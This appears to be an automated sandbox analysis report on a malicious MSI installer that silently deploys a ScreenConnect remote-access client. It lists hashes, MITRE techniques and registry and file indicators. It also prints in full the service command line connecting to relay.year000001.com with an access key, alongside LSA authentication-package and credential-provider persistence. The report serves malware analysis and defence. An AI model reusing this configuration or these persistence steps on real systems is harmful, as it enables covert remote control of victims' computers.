6eb97a0f7fe52f2cd9bdf02b5c0858c17e66c69d7d3cebf093c8e024366fe141

Analysis

max time kernel
137s
max time network
138s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
17/08/2025, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
relay.year000001.com.msi
Size 10.7MB
Sample250817-kcpg4atwft
SHA256 6eb97a0f7fe52f2cd9bdf02b5c0858c17e66c69d7d3cebf093c8e024366fe141
MD5 c599743e7f93772bff37342a89ac8095
SHA1 bb25d7102cf0a840dbace6b80afdb2a2d5072c1f
SHA512 41c690fe9d06fd0a5202a017802b35dc877eeeb248c31afc503243282971114d5d05c6e91c40d9228afbbe0ce1d7f347c6d90910fd588243359e5c6f1344542a
SSDEEP 196608:qjyuGh4c0AQ31XLvbDzfjyuGh4c0AQxjyuGh4c0AQFjyuGh4c0AQ7jyuGh4c0AQ:q+uG+3zzf+uG+j+uG+r+uG+p+uG+
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence privilege_escalation ransomware

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4fa6deb55b683867)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (4fa6deb55b683867)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.year000001.com&p=8041&s=36b2f558-faa8-487e-896b-76aa923f48de&k=BgIAAACkAABSU0ExAAgAAAEAAQBppsZZLDae71bIGmpfEjrne%2f%2bnyjJ4srknXOhxZe8gdzcYeSqdDa4%2fBLNlTOlstJm8Vw2wG9AMQNErDS7FWSIth2qUGkikllgPTeq7tOtw0NXf32oGZvLzFB1KMz5tswUSbIEUj8EIULJL2P6p1ooFq%2bB0LJ6BQtR8qPAy2QbKMVLUvE%2fCX6DoMRDgWhVvhtKdf6DkkOkvgy1er7vwweS6e5Xf%2bIuF%2fdpiazqAsMbNDObHCVyTxdnCLl7xiToKwYs6XijnER2Hpj3dw3MvRSNkbnGVJeXDB3CqvoYEe0xORSsbHXQQQruOV83aUPmjYq%2bAIbz5QxXgM0UdAfNnVjmf&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAPyDZvwdOC0aGi7v%2blfsyUQAAAAACAAAAAAAQZgAAAAEAACAAAADKhKw62RtK62momUgxWQYIn4ByN9HhGw6D%2fzUSzJB0EwAAAAAOgAAAAAIAACAAAACbVHdhLW1au6tJFNAbUVaOv22m%2bb%2bExT0t%2fJ9Ar51Ut6AEAABJELdm0aygKKA4QXq7VGcEyf0jc20xYJHGUG%2fsUwfP2EG3kuIptAvq3Xfm%2fKuf2gWDxYZqxxFvxBESrM3AdLypeY3mDJioz1eP0rOl%2bum5fv2owgZqt4iqaBTe0YVUFXO2xq8rBjFhDVOO0Sb%2f2ziUfSygDzwTg06hSydMmP8ZtnfPsRCA0V0%2bgfNpus5LmROQlsw73lSRaT47Ca%2bwgKrTr0prcgxlP14zTMgnCCqZA%2bWixHyFFMPiRh4Y8W8bXSe2gRH5rColfPBcFTOC7nMlgJiq%2f8o4ZVOmqPO0R1k3Lek2WEAbNxtOEdvP8E5R2F3AxcGzEafZYO6O92pY50RO1rw6WM%2fLVhITX3jsvYXcHI78LabCgi9AmEleFTmIgRTf1otkN4fdwTR9buamj0HmvBPSGtXnkB5dfRG%2fraSpwxOFvkdhJCx9MkCnzbE0XhWTEGV6oOGL%2blHNKKEtQ%2fu9naAPwePHQxddBkQqu6E7Ov9b2tCk9C%2bWeNdCcVOL1dVDanbcT5yz7IQ%2bD5FZZGnOXzqQgl0m7QP0Fr19tcW9SC01wmISxLJ%2fiTRgTXmABO%2fRcyx1jcH%2baGeEVvDLuGHiA%2bL9E1vcwt2d5aq3YiijjwM3q%2f7HiDtapgw3zrVieDMAEC%2bflzcZaatr4FRJt0VzretmYnbcu2ccgDwXZ7kl6A5r4KvEWwXeDMuAGdAqVNZcR2gBTgW11gkD3rc2LslXnUqI6fY3vggTg2iCQMkLqCMjxZx%2bCnCdMbiBFM6lG7%2f%2b2dE7sQXnLE6xzWBRsiBEdKA9W92QSfmHND8yy58vyhhxD8kkfPrJbRs0Creju%2bBO%2bv%2bML9uSR4LnmtcgScVGDuF1lg1dYhBWJr0fbeFGdWwKY30fEBQkMXw4E4j5m%2bl9RZ0e1d1A6CLzilz5t7XE5htEPJ1cHuOAvl5kReLPtvyOuSnHeK1iDoKdBgYs%2beRq4o8BCh9Nez4jjdIUT%2fyjj2%2besGZJjmegm5tIM3HZbY2e7tAq0bPlxoTLUrWZwBl3XYSrK1XDtz9qiR5SlrymwhNBSYe5QNBaemqQLhHkkVv3i693JwCJMw7Fz%2fuRXW7t6BN2Umr15X9DfL0a1wvUQXBs0u44m2XqEDI%2f1PH6ZONQ8v5L57V2ESlB9FbbyYfVWtIxJHTgzi7LV%2f4gHjKupFOn0Kcn2t%2f5R8RZKvsFr73v82VLf1jcFSKULah4lFH0Du%2b4pLRNDNzceDK6J0bwrecMlR0W7aUA45e79%2fv9AkzEE11BTAmRXMCUjGyoZ5uGnIcX5z25lXXJCpftcppZu0s9i1H0PkHRbD0sSniNaMiDIE3q7DkltAW%2bS2bIrF8aMRKlanyzFlEqNqocEW0lN4DqzHBlSut0CY579GcPU5%2fXuwY1ajCGdHRB3QtSHGR3Vu56zyPCEn7GvWmEpfzGwRUZvvZl2ASaCbssOPk4Y9S17bcNW4VMmVFocd5tIOMKnvUn5bYmuuWajDwN%2bmBzoZgly6%2f92c7hEoTO8Eqgq7pPcDL47EmjAhUhUKkwfu5XJWR66lckr%2fxbLonebgeWX66jSAmeHWxXh2%2fKT71gfUAAAACGbbKCVFBhr241MfKk9ir3iGMXQ89U5mEL%2fCvysfHL8CMC9Qg%2fIW%2fUf5YsOM5IfB64MJe2eBQgA%2bencGJV3aQ%2f\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340066006100360064006500620035003500620036003800330038003600370029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\app.config	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e57cc29.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{04DCED8C-65A5-6342-3C95-B5D3DEAA1B0A}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFDFE01C18392AD756.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e57cc29.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICE5D.tmp	msiexec.exe
File created	C:\Windows\Installer\{04DCED8C-65A5-6342-3C95-B5D3DEAA1B0A}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5B3242A5FBB063FE.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICDFE.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{04DCED8C-65A5-6342-3C95-B5D3DEAA1B0A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e57cc2b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{04DCED8C-65A5-6342-3C95-B5D3DEAA1B0A}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF754A98FEDF33C3E7.TMP	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICF96.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF42FD74E5284E9E6D.TMP	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
5804	ScreenConnect.ClientService.exe
656	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
1936	MsiExec.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
3388	rundll32.exe
5660	MsiExec.exe
4564	MsiExec.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1344	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000074f516d20680d69b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000074f516d20000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090074f516d2000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d74f516d2000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000074f516d200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (4fa6deb55b683867)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4fa6deb55b683867	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-5356-B283CBACA90E}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-5356-B283CBACA90E}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4fa6deb55b683867\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-5356-B283CBACA90E}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (4fa6deb55b683867)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C8DECD405A562436C3595B3DEDAAB1A0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\PackageCode = "C8DECD405A562436C3595B3DEDAAB1A0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\ProductIcon = "C:\\Windows\\Installer\\{04DCED8C-65A5-6342-3C95-B5D3DEAA1B0A}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-5356-B283CBACA90E}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C8DECD405A562436C3595B3DEDAAB1A0\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\ProductName = "ScreenConnect Client (4fa6deb55b683867)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8451F7FC852E31EBF46AED5BB5868376	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\Version = "419692547"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList\PackageName = "relay.year000001.com.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4fa6deb55b683867\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-5356-B283CBACA90E}\ = "ScreenConnect Client (4fa6deb55b683867) Credential Provider"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8451F7FC852E31EBF46AED5BB5868376\C8DECD405A562436C3595B3DEDAAB1A0	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\SourceList	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C8DECD405A562436C3595B3DEDAAB1A0\Clients = 3a0000000000	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2876	msiexec.exe
2876	msiexec.exe
5804	ScreenConnect.ClientService.exe
5804	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1344	msiexec.exe
Token: SeSecurityPrivilege	2876	msiexec.exe
Token: SeCreateTokenPrivilege	1344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1344	msiexec.exe
Token: SeLockMemoryPrivilege	1344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1344	msiexec.exe
Token: SeMachineAccountPrivilege	1344	msiexec.exe
Token: SeTcbPrivilege	1344	msiexec.exe
Token: SeSecurityPrivilege	1344	msiexec.exe
Token: SeTakeOwnershipPrivilege	1344	msiexec.exe
Token: SeLoadDriverPrivilege	1344	msiexec.exe
Token: SeSystemProfilePrivilege	1344	msiexec.exe
Token: SeSystemtimePrivilege	1344	msiexec.exe
Token: SeProfSingleProcessPrivilege	1344	msiexec.exe
Token: SeIncBasePriorityPrivilege	1344	msiexec.exe
Token: SeCreatePagefilePrivilege	1344	msiexec.exe
Token: SeCreatePermanentPrivilege	1344	msiexec.exe
Token: SeBackupPrivilege	1344	msiexec.exe
Token: SeRestorePrivilege	1344	msiexec.exe
Token: SeShutdownPrivilege	1344	msiexec.exe
Token: SeDebugPrivilege	1344	msiexec.exe
Token: SeAuditPrivilege	1344	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1344	msiexec.exe
Token: SeChangeNotifyPrivilege	1344	msiexec.exe
Token: SeRemoteShutdownPrivilege	1344	msiexec.exe
Token: SeUndockPrivilege	1344	msiexec.exe
Token: SeSyncAgentPrivilege	1344	msiexec.exe
Token: SeEnableDelegationPrivilege	1344	msiexec.exe
Token: SeManageVolumePrivilege	1344	msiexec.exe
Token: SeImpersonatePrivilege	1344	msiexec.exe
Token: SeCreateGlobalPrivilege	1344	msiexec.exe
Token: SeCreateTokenPrivilege	1344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1344	msiexec.exe
Token: SeLockMemoryPrivilege	1344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1344	msiexec.exe
Token: SeMachineAccountPrivilege	1344	msiexec.exe
Token: SeTcbPrivilege	1344	msiexec.exe
Token: SeSecurityPrivilege	1344	msiexec.exe
Token: SeTakeOwnershipPrivilege	1344	msiexec.exe
Token: SeLoadDriverPrivilege	1344	msiexec.exe
Token: SeSystemProfilePrivilege	1344	msiexec.exe
Token: SeSystemtimePrivilege	1344	msiexec.exe
Token: SeProfSingleProcessPrivilege	1344	msiexec.exe
Token: SeIncBasePriorityPrivilege	1344	msiexec.exe
Token: SeCreatePagefilePrivilege	1344	msiexec.exe
Token: SeCreatePermanentPrivilege	1344	msiexec.exe
Token: SeBackupPrivilege	1344	msiexec.exe
Token: SeRestorePrivilege	1344	msiexec.exe
Token: SeShutdownPrivilege	1344	msiexec.exe
Token: SeDebugPrivilege	1344	msiexec.exe
Token: SeAuditPrivilege	1344	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1344	msiexec.exe
Token: SeChangeNotifyPrivilege	1344	msiexec.exe
Token: SeRemoteShutdownPrivilege	1344	msiexec.exe
Token: SeUndockPrivilege	1344	msiexec.exe
Token: SeSyncAgentPrivilege	1344	msiexec.exe
Token: SeEnableDelegationPrivilege	1344	msiexec.exe
Token: SeManageVolumePrivilege	1344	msiexec.exe
Token: SeImpersonatePrivilege	1344	msiexec.exe
Token: SeCreateGlobalPrivilege	1344	msiexec.exe
Token: SeCreateTokenPrivilege	1344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1344	msiexec.exe
Token: SeLockMemoryPrivilege	1344	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1344	msiexec.exe
1344	msiexec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 1936	2876	msiexec.exe	79
PID 2876 wrote to memory of 1936	2876	msiexec.exe	79
PID 2876 wrote to memory of 1936	2876	msiexec.exe	79
PID 1936 wrote to memory of 3388	1936	MsiExec.exe	80
PID 1936 wrote to memory of 3388	1936	MsiExec.exe	80
PID 1936 wrote to memory of 3388	1936	MsiExec.exe	80
PID 2876 wrote to memory of 4908	2876	msiexec.exe	84
PID 2876 wrote to memory of 4908	2876	msiexec.exe	84
PID 2876 wrote to memory of 5660	2876	msiexec.exe	86
PID 2876 wrote to memory of 5660	2876	msiexec.exe	86
PID 2876 wrote to memory of 5660	2876	msiexec.exe	86
PID 2876 wrote to memory of 4564	2876	msiexec.exe	87
PID 2876 wrote to memory of 4564	2876	msiexec.exe	87
PID 2876 wrote to memory of 4564	2876	msiexec.exe	87
PID 5804 wrote to memory of 656	5804	ScreenConnect.ClientService.exe	89
PID 5804 wrote to memory of 656	5804	ScreenConnect.ClientService.exe	89

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
